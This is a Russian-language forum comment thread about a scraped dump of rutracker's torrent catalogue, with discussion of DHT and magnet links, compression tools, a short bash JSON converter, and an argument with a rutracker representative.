Всё не хватает сил выпустить статью на хабр.
allex
Коммент плюсую не просто так, а с надеждой увидеть программу и статью о неё здесь :)
ICELedyanoj
Попробую выделить время. Уж больно код там старый и страшный, чтобы без подготовки кому-либо показывать.
Ах да, чуть не забыл. Там еще и демоверсия платного DevExpress.WinForms используется — уж очень пригодились фичи по многофакторной фильтрации списка. И, соответственно, для паблика придётся переходить на какие-нибудь бесплатные компоненты.
Sakuya
Вау, пожалуйста, найдите силы и покажите это чудо хабру. Это же восхитительно!
ICELedyanoj
Вчера начал лопатить код. Уже переписал парсер, сейчас пишу новый GUI. Статья будет — думаю на следующей неделе.
Правда там довольно много кода и технологий, поэтому пока не знаю какой именно кусок включить в статью — парсер, Entity Framework, GUI на WPF… Всё сразу — слишком много для статьи.
Nashev
Скорее, для начала обзор использования нужен, и ссылка на исходники. А там — что спросят чаще и интереснее.
veam
К сожалению, очень много контента администрация уже успела удалить.

А так идея сдампить трекер в свете глобального будущего удаления музыки конечно хорошая.
Horny
Еще можно сделать раздачу средствами bittorrent sync, будет проще с обновлением.
J_o_k_e_R
Мы не используем closed-source software. Вы можете выкачивать через магнит и зеркалировать.
artemlight
Комментарий про порнолаб.
J_o_k_e_R
Принято :-D
veam
Особенно хентай и манга разделы. У меня плохое предчувствие насчет них.
Админы пл всегда бежали впереди паровоза и еще в прошлом ноябре удалили оттуда несколько сотен раздач, даже без всяких запросов со стороны роскомнадзора.
Xfrid
На порнолабе, к сожалению, нет магнет ссылок.
J_o_k_e_R
Значит придется выкачивать торрент-файлы, обрабатывать их, получая хеши для магнитов. Я уже говорил, что приветствуются пулл-реквесты? ;)
jonywtf
Это топик Добра! Пока одни зеленые полюсы)))
MAXH0
Так мы же не копирасты — мы бескорыстно делимся добром ;)
s1im
Народ, кто разбирается в теме, объясните мне пожалуйста вот какой момент: читал на вики про работу торрент-трекеров и понял, что ключевым в его работе всегда остается сам сервер трекера. Т.е., если у торрент-клиентов из-за блокировок по ip не будет доступа к трекеру, то толку в обладании нужной magnet-ссылки — ноль. Одно дело если просто закроют веб-морду, другое, если зажмут доступ к серверу — держать это хозяйство будет не прибыльно, база пополняться не будет и трекер умрет сам собой. Такие мысли пришли ко мне, когда я собирался начать парсить rutor. Объясните, пожалуйста, где я не прав?
boston
Есть еще DHT — это когда клиенты обмениваются между собой hash — данных, треккер в таких обменах не нужен и блокировки не страшны.
J_o_k_e_R
Есть еще Peer Exchange, который помогает искать пиров в дополнение к DHT без участия трекера.
s1im
Про это я тоже читал, единственное, из вики не понятно, связь между magnet-ссылкой и DHT
Вот на примере рутора: magnet:?xt=urn:btih: длинный_хеш_записи&dn=rutor.org&tr=udp://bt.rutor.org:2710&tr=http://retracker.local/announce
Будет ли хоть какой-то смысл в ней, если адреса после tr= окажутся недоступными клиенту?
veam
Пока есть сиды, по магнет ссылке можно будет присоединиться к раздаче, трекер не нужен.

Это при условии, что раздача открытая, но и при частной раздаче тоже есть варианты.
s1im
Как мой клиент узнает сидов в лицо, если нет трекера? Допустим, вы в своем utorrent открыли эту ссылку, и я открыл. Откуда мой клиент узнает где сид? Откуда он узнает, что вы тоже начали качать?

Вот принцип работы bit-torrent сети: «Перед началом скачивания клиент подсоединяется к трекеру по адресу, указанному в торрент-файле, сообщает ему свой адрес и хеш-сумму торрент-файла, на что в ответ клиент получает адреса других клиентов, скачивающих или раздающих этот же файл. Далее клиент периодически информирует трекер о ходе процесса и получает обновлённый список адресов.» (с) вики

Получается, только от трекера я могу получить список сидеров. Нет доступа к трекеру — нет списка сидов — нет закачки.
veam
Почитайте на википедии про работу протокола DHT.
Трекер там не нужен.
J_o_k_e_R
Ну вики же. Вы не правы.

Каждый узел хранит таблицу маршрутизации, содержащую контактную информацию о многих «ближайших» к нему узлах, и о нескольких более далёких. «Близость» двух узлов вычисляется из «сходства» их ID, и не имеет никакого отношения к их географической близости.

Когда узел хочет найти пиров для раздачи, он сравнивает infohash этой раздачи с ID известных ему узлов, и затем посылает запрос тому узлу, чей ID наиболее похож на этот infohash. Тот узел возвращает ему адрес узла, чей ID ещё ближе к infohash торрента.

Тогда наш узел посылает запрос тому новому узлу, и получает от него адрес следующего узла, чей ID ещё более похож на infohash торрента.

Таким образом, запросы от клиентов, участвующих в раздаче торрента с определённым infohash, постепенно стекаются к узлам, чьи ID наиболее похожи на этот infohash. Эти узлы помнят предыдущие запросы, и всем следующим запрашивающим узлам вернут адреса предыдущих пиров с той же раздачи.
boston
Если есть другие закачки — клиент будет опрашивать их участников.
boston
Да, при недоступности серверов *твой* клиент будет «рассылать» по доступным клиентам тот самый «длинный_хеш_записи», и если у кого-то будет информация о нём — то она появится и у *твоего* клиента. Под информацией понимаю список файлов в торренте, из размеры и прочую мета-информацию.
s1im
Откуда мой клиент возьмет список других клиентов, если нет доступа к трекеру? Я лично замечал, что в дни когда падал порнолаб (да, все мы там качаем, нечего стесняться :-) не было никаких раздач/закачек в клиенте.
fshp
Трекеры только ускоряют поиски пиров. Для DHT они не необходимы.
J_o_k_e_R
Не совсем так.

Текущая реализация DHT в протоколе Bitorrent (которая, к слову, реализуется как расширение у нему bittorrent.org/beps/bep_0005.html) содержит только статическую информацию начальной конфигурации (таблица маршрутизации) для нового узла. Это значит, что если Вы пытаесь использовать trackerless torrent в котором все узлы уже недоступны, то Вы окажитесь отрезаным от сети.

Поэтому на данном этапе совсем отказаться от централизованных трекеров невозможно.

На мой взгляд проблема назрела и ее решение уже на подходе. В светлом будущем необходимость в крупных трекерах таких как The Pirate Bay или rutracker отпадет.

А пока законодатели будут обдумывать очередной законопроект по борьбе с торрент-трекерами, пиринговые сети шагнут на новую ступень развития. В том плане всякие запрещающие законопроекты даже полезны так как они способствуют прогрессу. Ну а он на стороне простых Интернет пользователей.
AccessGranted
Ключевое слово: bootstrapping. Если у вас уже есть хоть один пир с dht (например, из других раздач или через utorrent который «подсасывает» их откуда-то со своих серверов) — у вас работают все раздачи по dht (если, конечно, есть источники).
Xfrid
Что значит разобраться с i2p? В чём проблема упаковать клиент в однокнопочную программку?
track
Вы забываете, что аудитория интернета (называющая системный блок «процессором» и ищущая «сериалы скачать бесплатно» в Яндексе, а потом лечащаяся от винлокеров), и аудитория, допустим, Хабра, это разные множества, а часто даже и весьма слабо пересекающиеся. Находясь здесь, в нашей уютной тусовочке, вы пребываете в иллюзии, что «нас — много, мы — сила!», на самом деле, на самом деле эта «сила» весьма немногочисленна, и составляет в лучшем случае несколько процентов от общего числа пользователей интернета.
shara
И что дальше? Вы хотите сказать, что немногочисленная тусовочка программистов не сообразит сделать простую морду для i2p клиента? Массы торрент-клиентами научились пользоваться? Научились. И скажу по секрету — не в восторге от этого. Массы можно привлечь удобным платным сервисом, а те, кто ищут где скачать бесплатно по своим причинам — освоят и i2p и чёрта в ступе.
track
> аудитория интернета (называющая системный блок «процессором» и ищущая «сериалы скачать бесплатно» в Яндексе, а потом лечащаяся от винлокеров)
Если они ищут сериалы в Яндексе, а не на Рутрекере — они не являются аудиторией Рутрекера, и даже если Рутрекер будет заблокирован, они этого не заметят. Так что речь не о них.
shara
Я искренне надеюсь, что вы понимаете, что речь идет не о том где, что и как искать.
RussianNeuroMancer
> Я искренне надеюсь, что вы понимаете, что речь идет не о том где, что и как искать.
О чём же идёт речь в топике про Рутрекер, в данной конкретной ветке про i2p? А в это время аудитория Флибусты разобралась с i2p.
track
В данной конкретной ветке речь идет совсем не про i2p

PS: раз уж зашла речь: Я аудитория Флибусты, и никаким i2p, кстати, не пользуюсь.
RussianNeuroMancer
> В данной конкретной ветке речь идет совсем не про i2p
Вы привели в пример пользователей, которые ищут сериалы в Яндексе — так? Так. Они уже сейчас не пользуются торрентами. Те, кто торрентами пользуются, с ними вполне разобрались, значит разберутся и с установкой i2p, она нисколько не сложнее, но потенциально сулит вкусные плюшки — возможность раздавать и качать то, что правообладатели сейчас блокируют (кстати говоря немцы активно пользуются ею).

> Я аудитория Флибусты, и никаким i2p, кстати, не пользуюсь.
Раз вы аудитория, то вы в курсе того, как прошёл сентябрь.
track
Mainline DHT очень просто фильтровать, используя DPI. Всё дело в bencoding. И Beeline уже без запросов Роскомнадзора тренируется его блокировать.
Есть ещё AzDHT в Vuze, этот посложнее фильтровать.
RussianNeuroMancer
Торрент-клиент получает хэш раздачи и начинает искать сидов по этому хэшу, рассылая сообщения get_peers(хэш) по DHT-сети.
freeAKK
Будет. DHT строит свою сеть по поиску пиров. Вот сейчас ради интереса зашёл на раздачу слабопопулярную взял хэш и сделал ссылку без указания трекеров только хэш. Результат, на непопулярной раздаче (1 сид на самом рутрекере) прошло где то 15 минут прежде чем началась закачка. Для популярно закачки (270 сидов) практически мгновенно.
Но насколько я понял обоим технологиям нужно чтобы у тебя уже были несколько рабочих торентов.
Koncopd
В юторренте вшито два адреса для бутстрапа, так что рабочие торренты там необязательны.
VBKesha
Ну я в целом применительно к технологии. Кстати что за адреса, интересно их заблочить и протестить что будет без них?
Koncopd
Нормально все будет, просто возьмет адреса, сохраненные между сессиями, или с рабочих торрентов. Если же просто чистый клиент запустить, то не будет ничего, так как некуда подключаться.
VBKesha
Отвечу на практическом примере:

Минимальная ссылка это magnet:?xt=urn:btih:HASH
Этого уже вполне достаточно как для скачивания, так и для публикации собственных раздач.
Я несколько лет хранил и выкладывал у себя большие архивы фотографий с велопробегов. При этом к большой нагрузке качальщиков был не готов (поскольку хостится всё в домашнем роутере RT-N16). Поэтому парой скриптов для папки с фотографиями сперва генерился индекс с превьюшками, а фотки в оригинальном размере шарились через магнет.
С помощью transmission (в cli-варианте) для расшаривания любого файла нужно всего две команды:

transmission-create -o "/tmp/torrent.torrent" "нужный_файл"
transmission-remote "localhost" -w "путь_к_папке_где_нужный_файл/" -a "/tmp/torrent.torrent"


Первая команда создаёт торрент. Вторая подключается к работающему локально (localhost) демону (transmission-daemon) и ставит только что созданный торрент на раздачу. Можно добавить ещё и третью команду — удаление созданного торрент-файла (покуда с момента установки на раздачу им начирает рулить демон, и сам локальный файл больше не нужен)

Нужный хэш при необходимости вытаскивается из торрента (если в cli — с помощью transmission-show) и дописывается в конец строчки «magnet:?xt=urn:btih:», полученная ссылка (например, magnet:?xt=urn:btih:fb26eaa6180af006cc502837ad48d655c5e27561) отдаётся страждущим — и всё!

Вот весь скрипт, который запускался для этого на роутере: pastebin.com/HxDA0pEq
Koncopd
(ждем реакции администрации)

Очень интересно, что ответят.
Хорошее дело сделали.
klirichek
Поблагодарят за помощь, конечно. И будут всячески помогать поддерживать базу в актуальном состоянии.
Haoose
Жесть подстава для рутрекера, конечно.
Сейчас появится сотни, а то и тысячи новых трекеров, ибо база данных торрентов в свободном доступе

Но, база супер! Уже качаю.
В целом, у меня тоже проект посвященный торрентам. Если что — готов всячески помогать в данном начинании.
spmbt
Хм, кому я так насолил то? :)
Voenniy
Вы невнимательно читали пост. Я уже написал почему Вы не правы.
Voenniy
Перечитал ещё раз. Честно говоря, не понял, в чем именно я не прав?
J_o_k_e_R
Эти данные итак всегда были в свободном доступе.
Voenniy
Одно дело данные в свободном доступе
Другое дело — готовая база данных.
Это разные вещи. Посмотрите на форумах, продают спарсенные базы разных порталов, которые итак «в свободном доступе».
reaferon
Продают — как раз аргумент. Если кто-то готов платить за информацию, значит эта информация нужна.
Voenniy
Прочитайте, пожалуйста, не только первую строчку коммента, на который Вы отвечаете.
J_o_k_e_R
С чего вы взяли, что ваши тексты не читают?
Я очень внимательно все читаю.
Voenniy
Потому что по Вашему комменту складывается впечатление, что Вы прочитали только первую строчку. В качестве возражения на него, могу только повторить вероятно не прочитанный Вами кусок:

Продают подобные вещи в основном для тех, кто не может сделать базу сам. Но такие и сайт по базе сами поднять не смогут. Те же, кто смогут поднять сайт по базе — могут и сами сделать базу, не покупая.
J_o_k_e_R
Да причем тут — смогут или не смогут? Чтобы спарсить рутрекер нужен программист, который напишет парсер, сервер с нормальным каналом, прокси, поддержка и тому подобное. Эта работа стоит денег.
Чтобы запустить сайт с готовой базой — надо иметь всего-лишь саму базу (которая стоит намного дешевле стоимости работы) + небольшой конвертер для того, чтобы засунуть контент из готовой базы в готовый сайт.
Voenniy
Эта работа стоит денег.


То есть ничего невозможного. Были бы деньги. А так как перед Вами люди, сделавшие это просто забесплатно, то вполне можно предположить, что сделать это за деньги стоит относительно немного.
Кстати, канал совсем не нужен тут. Нужным только внешние IP.
J_o_k_e_R
Не по существу Вашего спора, а по аргументу ". А так как перед Вами люди, сделавшие это просто забесплатно, то вполне можно предположить, что сделать это за деньги стоит относительно немного." — это неверное утверждение. То, что специалист, знающий способы, может легко сделать бесплатно — человек, способы не знающий может лишь пытаться купить у тех многих, кто возможно знает подходы, и готов взяться за определённую цену. Попыток может оказаться много, времени много — пока находящиеся малознающие сделают с грехом пополам, или пока найдётся кто-то знающий, который запросит за заказную разработку тоже не мало. И денег здесь, как правило, тратится очень прилично!
Voenniy
Тот кто может по этой базе развернуть поддельный сайт точно так же может сделать дамп самостоятельно. Мы ничего не взламывали и среди нас нет администраторов или модераторов. Мы просто взяли то, что было и так доступно и придали ему удобную для децентрализации форму.
J_o_k_e_R
Так речи нету, о том, что кто-то что взламывал.
Может я перечитал www.searchengines.ru/, но там постоянно продают базы разных порталов, на основе которых делают новые сайты.

В этом нет ничего плохого. Это не в упрек было сказано.
Nashev
Правильно. Только ценность эта не для посетителей, а для самого рутрекера. Они с этого какие-никакие плюшки имеют. Потому они и не горят желанием отадавать свою базу данных кому не попадя и создавять собственными руками множество конкурентов.
J_o_k_e_R
Нет, это ценность для людей. А вот уже с людей трекер и имеет плюшки.

У рутрекера есть зеркала (кто-то его парсил и запускал свое). Предположим, их запустят еще несколько десятков. Вроде бы содержимое тоже.
Но если рутрекер неожиданно закроют, то большая часть его аудитории от этого потеряет. Они просто не будут знать, куда идти и будут видеть в выдаче Гугла незнакомые сайты. Да, со временем, аудитория эти зеркала найдет, но часть людей переключится на другие ресурсы, а остальные разбредутся по разным зеркалам. В итоге, вместо одного большого сообщества получится множество мелких. В данном случае, это сильно притормозит развитие, ведь единого места, куда стекается весь контент, уже не будет. Что-то выложат там, что-то тут. По сути, будет ничем не лучше просто маленьких трекеров. Ну за исключением большой стартовой базы. Но с новым контентом будет беда.
Voenniy
Если рутрекер закроют, то будет как в прошлый раз — новый домен будет известен всем за сутки.
Тут даже СМИ не надо — у рутрекера есть база пользователей, так что достаточно разослать письма.

А вот если «закроют» администрацию рутрекера, тогда уже сложнее.
esc
Новый домен рутрекера — да, потому что это бренд. А если нового не будет (владельцы решат не продолжать вести этот проект), то узнавать будет нечего. Будет десятки непоняных зеркал и все. Прорекламируют скорее просто их конкурентов и туда стечется аудитория.
Бренд это очень важно;)
stn
врятли владельцы откажутся от бизнеса который им хорошие деньги приносит. купил новый домен и зарабатывай дальше
esc
Обстоятельства разные бывают. Но вообще я о гипотетической ситуации
Mendel
Спарсить эту базу — дело одних выходных.
Так что ничего не случилось, чего раньше не могло произойти. Если б кто-то хотел заморочиться и выложить копию рутрекера, выложил бы.
А кстати, я вспомнил — я ж видел копии. Находятся через гугль попытки скопировать.
Вот только для этого нужны серьёзные ресурсы — дорогой хостинг и т.п. Чтоб зарабатывать на этом деньги, надо сначала вложить.
esc
Хвала и честь борцам за свободу. Качаю.
sluge
Этсамое, используйте pigz вместо gzip, он многопоточный и дает большой выигрыш в скорости на многоядерных системах.
esc
Под винду реализации есть?
SLY_G
Да, вот последняя версия.
А вот бенчмарк, если интересно
Итого, pigz где-то в 6 раз быстрее, нежели gzip.
Polco
Еще выгоднее использовать lzma, не случайно им Linux ядро сжато
ValdikSS
Ну тогда уж xz, ну или многопоточный его вариант pxz. Но он явно медленнее gzip, хотя и сжимает гораздо лучше.
J_o_k_e_R
Фишка в том что lzma разжимает гораздо быстрее чем сжимает. потому его в линуксе и пользуют-лучше при билде ядра 2 минутки подождать зато потом он миллионы раз за 10 сек распакутеся
ValdikSS
Вы об одном и том же говорите. xz — это lzma2.
sluge
Пробовали. Смотрите раздел «Программа». Отказались, так как сильно медленнее, конское потребление оперативы и багнутая реализация в kdelibs под windows.
ValdikSS
я использовал реализацию из 7-zip, работает как зверь
sluge
алгоритм один и тот же: lzma2
J_o_k_e_R
Вот будет прикол если сюда придет rutracker и скажет что этой раздачей нарушены его авторские права на его контент сайта)
J_o_k_e_R
Думаю, что не я один ожидаю хоть какой-нибудь реакции от rutracker :)
sluge
а какая у него может быть реакция? Раздачи не его а людей которые их создают. Рутракер это только бизнес по сбору этих раздач и заработках на рекламе, все.
J_o_k_e_R
Конвертируем final.txt в json

#!/bin/bash

echo '[' >> list.json
while read row; do
IFS=$'t' read -ra cols <<< "$row"
echo '{i:"'${cols[0]}'",t:"'${cols[1]}'",b:"'${cols[2]}'",s:"'${cols[3]}'",l:"'${cols[4]}'",h:"'${cols[5]}'",d:"'${cols[6]}'",u:"'${cols[7]}'"},' >> list.json
done < "final.txt"
echo ']' >> list.json
sluge
понеслось, да?
Antonkulik000
talismanium делает замечание:
Похоже ты пропустил двойные кавычки вокруг имен переменных
да и двойные кавычки в названии не проэскейпены

Ещё от меня — нужно прибить последнюю запятую в массиве, иначе ie будет ругаться, но не придумал как это сделать простым методом на bash
sluge
Так я чё-то не понял, на рутрекер базу залили? Или её уже правообладатели порезали???
shara
Нет еще. Заливальщики отдыхают. Плюс есть подозрение, что ее администрация удалит. В общем ждем комментариев rutracker.
naum
Удалено по просьбе правообладателя. Это будет очень смешно, да.
shara
зеркало
sha256.txt.asc, sha256.txt, dump_viewer.tar.gz, final.txt.gz @ l.bitcasa.com/QCY8KNte

если у кого есть прямая ссылка на «mega.co.nz (только база описаний, распаковать основной tar в папку с программой)», то ее тоже могу отзеркалить
zag2art
Под макос кто-нить сварганит готовую оболочку для работы с базой? :)
J_o_k_e_R
Странный подход к проблеме. А что мешает развернуть трекер в торе? Или, я уверен можно, найти готовый. Народ задолбается обновлять дампы трекера
ivlis
Трекеры есть, если не в торе, то в i2p. Вопрос именно в базе раздач и магнитах к ним. Собственно основное преимущество рутрекере перед всеми остальными.
Marfapr
Запустил wget «спасать» habrahabr
DedalX
Уже картельный сговор имеет место быть:

Поэтому очень вовремя побеспокоились. В то время как TPB сама по этому пути идёт, некоторые трекеры перевирают идею.
guai
Тут я не могу не согласиться, делать раздачу из многих тысяч мелких файлов вместо архива — просто неуважение к пользователям.

По-хорошему надо вообще сделать текстовую базу с удобным поиском, как это сделал J_o_k_e_R.
J_o_k_e_R
Ой, зашел по ссылке и увидел что это она и есть.
kellas
.tar позволяет и 1 файл иметь, и при обновлении старая часть (с округлением до размера куска) не будет перекачиваться.
spmbt
Поздравляю с полезным делом!

Позволю расставить точки над i чтоб не было недопонимания относительно нашей позиции. (а она не совсем такая, как вы ее здесь преподносите)

1) Коллекторов торрентов нынче если не тысячи то сотни уж точно. Причем с развитой системой поиска, с подтягиванием скриншотов и описаний, которые прут со всех трекеров, с рутрекера особенно (там наиболее валидные данные). Есть и обычные клоны рутрекера, с полной копией всего что на на форуме. Так что в этом смысле ничего нового, очередной велосипед, правда, спасибо что open source.

2) Мы только приветствуем что любой технически грамотный человек может сделать себе копию всех хешей и описаний раздач. Если это кому то нужно — пожалуйста, даже наверно полезно, хотя смысла особого тоже в этом нет, т.к все полтора миллиона раздач вам вряд ли нужны.

3) Мы были против специального и намеренного распространения этой базы от своего имени, потому что текстовый файл никак не защищен от изменений. И скачав у нас, можно заменить хеши и выложить на своем сайте. Нет, безусловно вы это можете выкладывать эту базу в онлайн, и те кто вам доверяют — пусть качают, но это НЕ ОФИЦИАЛЬНАЯ БАЗА и в случае чего — претензий к нам никаких.

4) По этим же причинам никто не мешает вам или кому то еще сделать раздачу с вашей базой рутрекера на самом рутрекере :)

5) Сиды и пиры в таблице — абсолютно лишнее. Во первых эта величина сильно кореллирующая с московским временем, а во вторых трекер видит не все пиры (из за DHT).
veam
Хорошая позиция. Но ведь можно было и по тихому выложить не официально? :)
veam
Можно, но зачем? Поймите, аудитория хабра и рутрекера — это очень разные аудитории, хотя одна включает в себя другую. Хабраобществу интересны любые лайфхаки, да и просто особенности работы сетевых сервисов, а обычному человеку сей громадный текстовый файл мало что даст, кроме неудобств, связанных с магнет-ссылками, отсуствием описания и картинок.

Кстати, о броском заголовке. «Спасти» базу хешсумм — это вовсе еще не значит спасти раздачи. При живом трекере сотни тысяч раздач умирают от недостатка сидеров. Это на несколько порядков больше чем закрывают правообладатели (!).

Поэтому, вместо дешевого популизма, авторы лучше бы призадумались о механизмах автоматической поддержки нуждающихся в этом раздач. Т.е в идеале, прийти к такой системе, когда любая, однажды начатая раздача, будет поддерживатся бесконечно долгое время без участия человеческого фактора. Так например торрент-клиент кроме прямо указанных ему раздач, может поддерживать некоторое количество анонимных, не скачивая их целиком, но вместе с другими клиентами сохраняя их в целостности.

Это, кстати, кроме проблемы «мертвых раздач» заодно решит все проблемы с раздачами, закрытыми правообладателями, т.к они как и все другие будут всегда доступны.

Вот чем надо заниматся, а не странички с хтмл кодом парсить!
agmt
Поэтому, вместо дешевого популизма, авторы лучше бы призадумались о механизмах автоматической поддержки нуждающихся в этом раздач.


Вот прям сразу как сделаете API для удобного экспорта всей базы и забаните все CHA аккаунты, перестав закрывать раздачи. Вот тогда сразу. И люди к Вам потянутся те, которые свалили на другие трекеры из-за Вашей борьбы за бабло, а не за пользователей.
rutracker
Так делайте! Вы ведь на это деньги зарабатываете. Арендуйте несколько дедиков с анлимитными каналами, поставьте туда торрент-демоны и вперед.
AnimaLocus
Хорошие раздачи как раз не умирают от недостатка сидов, хорошие раздачи прикрывают правообладатели и их как раз и надо спасать
rutracker
>Поэтому, вместо дешевого популизма, авторы лучше бы призадумались о механизмах автоматической поддержки нуждающихся в этом раздач
кстати вы то почему об этом не задумались? это вам в первую очередь выгодно. Легко поприкать и понукать некоммерческий open source проект. Раз это так вам важно-полный вперед?
J_o_k_e_R
Спасибо. Прям как будто подменили человека, сидящего за Вашим аккаунтом после нашего дешевого популизма. Хорошо, что Ваши комментарии, на которые я ссылаюсь, все могут посмотреть.

1) Я пропущу этот пункт, просто диаметрально противоположный тому, что писалось от Вашего аккаунта раньше.
2) Дайте грамотным людям API или набор дампов аля википедия, Уже не раз просили,
3) Да Вы просто прикалываетесь какждый раз, когда делаете вид, что не знаете про хешсуммы и gpg-подпись. Посмотрите как сделано в нашей раздаче. Мы даем возможность людям всегда быть уверенными, что то, что они качают — это действительно то, что выложили мы. Если б sha256sum.txt Лежал на rutracker.org — это давало бы люлям возможность убедиться, что текстовый файл, является именно тем, что выложили Вы. Даже если они его на диске в подвортне купили. Так сценгруппы вообще-то живут со времен BBS'ок.
4) Спасибо Вам большое. Раздача естественно будет создана из-под левого акка через тор. А Ваши слова сейчас дали нам зеленый свет, например, на opensharing.
AstonMartin
Я устал уже вам обьяснять, что аудитория рутрекера — обычные люди, которы при слове хеш-сумма и bgp-подпись впадают в ступор.
Ну неужели непонятно, что среднестатистическому юзеру очень сложно, практически невозможно постичь эти профессиональные методы контроля целостности информации? Ему нужна программа под виндовс с одной большой кнопкой «скачать», а не сырцы на гитхабе.

И вот еще что: cреди грамотных людей процент людей с нечистой совестью ничуть не меньше среднего по стране. Ну сделаем мы API. Ну потешит тысяча — другая техногиков свое самолюбие. Ну появится еще десяток клонов форума, где у юзеров крадут пароли, а вместо торрентов подсовывают вирусы. Упростим жизнь правообладателям, которым через API сильно проще будет забирать базу, чем искать что удалить (иногда вручную) по форуму. Зачем это все?

sluge
Я устал уже вам обьяснять, что аудитория рутрекера — обычные люди, которы при слове хеш-сумма и bgp-подпись впадают в ступор.
Ну неужели непонятно, что среднестатистическому юзеру очень сложно, практически невозможно постичь эти профессиональные методы контроля целостности информации? Ему нужна программа под виндовс с одной большой кнопкой «скачать», а не сырцы на гитхабе.


То есть Ваше же заявление «текстовый файл никак не защищен от изменений» — признаем ложью и демагогией? Так как защитить все-таки можно, правда не все это умеют?

И вот еще что: cреди грамотных людей процент людей с нечистой совестью ничуть не меньше среднего по стране. Ну сделаем мы API. Ну потешит тысяча — другая техногиков свое самолюбие.


Эта тысяча-другая техногиков сделает резервную копию созданной ими же медиатеки. Вот первейшая цель. Заодно выведет сам рутрекер из-под прицела правообладателей.

Ну появится еще десяток клонов форума, где у юзеров крадут пароли, а вместо торрентов подсовывают вирусы.


Как Вы сами писали их уже «если не тысячи, то сотни». Так что API никак не это не повлияет. А дампить вашу базу будет удобнее тем, кто преследует цель сохранить раздачи.

Упростим жизнь правообладателям, которым через API сильно проще будет забирать базу, чем искать что удалить (иногда вручную) по форуму.


Да-да. Может просто перестать давать им возможности удалять раздачи? Ну или если Вам все-таки неймется — удаляйте непосредственно с форума рутрекера, раздавая их через API.
sluge
А мне одному кажется, что Рутрекер боится, что у них спиратят базу? И поэтому осложняют копирование? Прикооольно )
J_o_k_e_R
То есть Ваше же заявление «текстовый файл никак не защищен от изменений» — признаем ложью и демагогией? Так как защитить все-таки можно, правда не все это умеют?


Ложь и демагогия то что вы кричите что спасли крупнейшую медиатеку в рунете. Хотя всего навсего сделали вы то что делали сотни людей до вас — обошли роботом все раздачи и стащили их хеш суммы в текстовый файл.

А для спасения медиатеки рутрекера нужно парочку защищенных датацентов с дисковыми массивами в разных концах планеты.

Эта тысяча-другая техногиков сделает резервную копию созданной ими же медиатеки. Вот первейшая цель. Заодно выведет сам рутрекер из-под прицела правообладателей.


Извините но это полная глупость. Без самих раздач контрольные суммы вам не помогут никак. Они нужны только для того чтобы:

а) скачать что-то в той ситуации если нет под рукой трекера в узкотехническом смысле. (что маловероятно, т.к открытый трекер поднять — не проблема, но может пригодиться в той ситуации, если вдруг будет повальная охота за трекерами)

б) не плодить дублей при создании раздач заного.

в) осуществлять реверсивный поиск — по хешу можно найти описание раздач.

Еще раз повторю: без физически доступного где-либо в сети неизменненного ни на байт комплекта файлов раздачи — его хеш-сумма — набор бесполезных цифр. Тогда любые попытки скачать раздачу заведомо обречены на провал. В противном случае есть верятность получить данные, хеш сумму которых вы знаете, и эта вероятность пропорциональна «популярности» раздачи в сети.

Да-да. Может просто перестать давать им возможности удалять раздачи? Ну или если Вам все-таки неймется — удаляйте непосредственно с форума рутрекера, раздавая их через API.


Спасибо за очередной ценный совет.
Учитывая ваш нездоровый интерес к прибыли Рутрекера предлагаю вам самим открыть трекер на котором правообладатели не будут удалять ничего. Я более чем уверен что он станет мегапопулярным менее чем за полгода, и вы сможете крутить баннеры и неплохо зарабатывать.

Более того, мы готовы бесплатно рекламировать такой трекер в том случае если его ассортимент не будет пересекатся с нашим.

rutracker
А для спасения медиатеки рутрекера нужно парочку защищенных датацентов с дисковыми массивами в разных концах планеты.

Чем больше будет отдельных узлов, тем будет надежнее. Поэтому лучше много малых сидбоксов, чем мало больших (размером с целый датацентр, к примеру). И чтобы админило их несколько людей, которые не знают реальных имен друг друга.

Кстати, не раз замечал, что мои раздачи выкачивают боты (судя по user agent) из разных уголков Земли. Раздачу с базой рутрекера, к примеру, уже парочка выкачала. Видимо, кто-то уже делает бекапы раздач. Боюсь, что только популярных. А надо делать бекапы редких раздач в первую очередь. Популярные раздачи не пропадут, если только кое-кто их не удалит.

Вы не могли бы дать сидбоксы или средства для их приобретения? Это и будет подстраховка. Можно вручную настроить сидбоксы или купить готовые (цены). Пример: 50 гигабайт, 6 раздач, неограниченный трафик, $50 в год. Хороший вариант, но число раздач маловато. Думаю, это далеко не самый дешевый вариант. Если будут сидбоксы или деньги для их покупки, то желающие спасать редкие раздачи найдутся.

Вы готовы выделить средства?
J_o_k_e_R
> в случае чего — претензий к нам никаких
а сейчас в случае чего можно отправлять претензии ?!
DenisVitman
К сожалению, не было найдено способа узнать точный размер из исходного кода страницы раздачи.

Под кнопкой «Скачать .torrent» имеется кнопка «список файлов», в этом списке представлены все файлы с точным размером до байта.
rutracker
Для этого нужно делать ещё один запрос страницы, т.к. эти данные подгружаются аяксом только по нажатию на кнопку (POST-запрос на адрес rutracker.org/forum/viewtorrent.php с передачей параметра t=id_темы_форума; естественно, нужно быть аутентифицированным на форуме, т.е. помимо прочего передавать установленные после логина куки). Видимо, автор программы (точнее, те, кто делал парсинг трекера) посчитал, что увеличение количества запросов в 2 раза не стоит того. Ну, или какие-то другие причины.

При очередном обновлении базы можно актуализировать эту информацию, т.к. собирать данные о размере можно и отдельно, благо id оставлены те же, судя по скриншоту.
ratnik0
Ставить OpenSSL Light необязательно — можно просто положить в папку с программой 2 файла из ее состава — ssleay32.dll и libeay32.dll
sluge
Есть ли возможность скачать интересующий «торрент» без обращения к рутрекеру?
VoidVolker
Да. Для этого магнитные ссылки и используются.
SaturnYar
фичареквест есть.
запустил dump_viever, набрал в поле «название включает» текст, нажал enter. запустился и идёт поиск. тем временем набрал в том же поле другой текст для поиска, нажал enter — и ничего.
добавьте пожалуйста для такого случая какое-нибудь действие, хотя бы модальное окно с текстом «поиск уже идёт» и вариантами «отменить предыдущий поиск и начать новый» и «продолжать процесс поиска, заданный ранее».
заранее спасибо.
7313
Во время поиска на месте кнопки «Найти» отображается «Стоп». Во время поиска программа не реагирует на кнопку Enter в поле названия раздачи. Можно вместо этого прерывать старый поиск и начинать новый или делать окно ввода названия неактивным во время поиска.
lega
«Во время поиска программа не реагирует на кнопку Enter в поле названия раздачи» — вот именно об этом и речь. я глубоко убеждён, что станет лучше, если она начнёт реагировать на «enter» во время поиска. умудряется же она в конце-концов каким-то образом реагировать во время поиска на нажатие кнопки «стоп»… =)
J_o_k_e_R
Исправлено. Бинарник для линукса. Бинарник под винду потом.
fzfx
круть. =) спасибки.
ratnik0
Обновил архив с бинарниками на bitbucket.org/ratnik/dump_viewer/downloads
Приложил к архиву ssleay32.dll, libeay32.dll и libssl32.dll.

init0, спасибо за инвайт!
fzfx
